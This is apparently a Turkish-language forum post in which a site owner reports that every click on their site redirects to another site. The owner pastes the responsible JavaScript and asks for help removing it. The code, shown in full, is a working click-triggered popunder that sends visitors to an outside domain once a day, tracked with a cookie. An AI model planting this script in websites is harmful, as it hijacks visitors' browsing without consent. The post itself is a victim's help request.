function POPPage(underUrl,url,settings){ this.version="1.0.0"; if(settings){ if(settings["postback"]){ this.postback="?ok="+settings["postback"] }else{ this.postback="?ok=popunder" } if(settings["point"]){ this.hash="#"+settings["point"] }else{ this.hash="#" } } this.underUrl=underUrl; if(!url){ this.url=(location.href.replace(location.search,""))+this.postback+this.hash }else{ this.url=url+this.postback+this.hash } }POPPage.prototype.under=function(){ //now page var h=window.open(this.url,"_blank") //under page location.href=this.underUrl}POPPage.prototype.up=function(){ //now page var h=window.open(this.underUrl,"_blank") //under page location.href=this.url}POPPage.prototype.postbackHandler=function(S){ var para=new URLSearchParams(location.search); if(S){ for(var prop in S){ if(para.get("ok")==prop){ S[prop](); } } }}
window.POPPage=POPPagewindow.pop=function(t,s,set){ if(set){ return new POPPage(t,s,set); }else{ return new POPPage(t,s); }}function setCookie(name, value, time) { var expires = new Date(); expires.setTime(expires.getTime() + time); document.cookie = name + '=' + value + '; expires=' + expires.toGMTString();}
function getCookie(name) { var cookies = document.cookie.toString().split('; '); var cookie, c_name, c_value; for (var n = 0; n < cookies.length; n++) { cookie = cookies[n].split('='); c_name = cookie[0]; c_value = cookie[1]; if (c_name == name) { return c_value; } } return null;}
function calis() { if (document.attachEvent) { document.attachEvent('onclick', clickkontrol); } else if (document.addEventListener) { document.addEventListener('click', clickkontrol, false); }}var rand = "https://www.ofistasima.info.tr/";function clickkontrol(e) { if (!getCookie('popundr')) { var e = e || window.event; var win = pop(rand,null,{ "postback":"popunder"}).under(); setCookie('popundr', 1, 24 * 60 * 60 * 1000);}}bu kodları temizleyin
Sitemde nereye tıklasam başka bir siteye yönlendiriyor
10
●139
- 02-01-2021, 11:09:49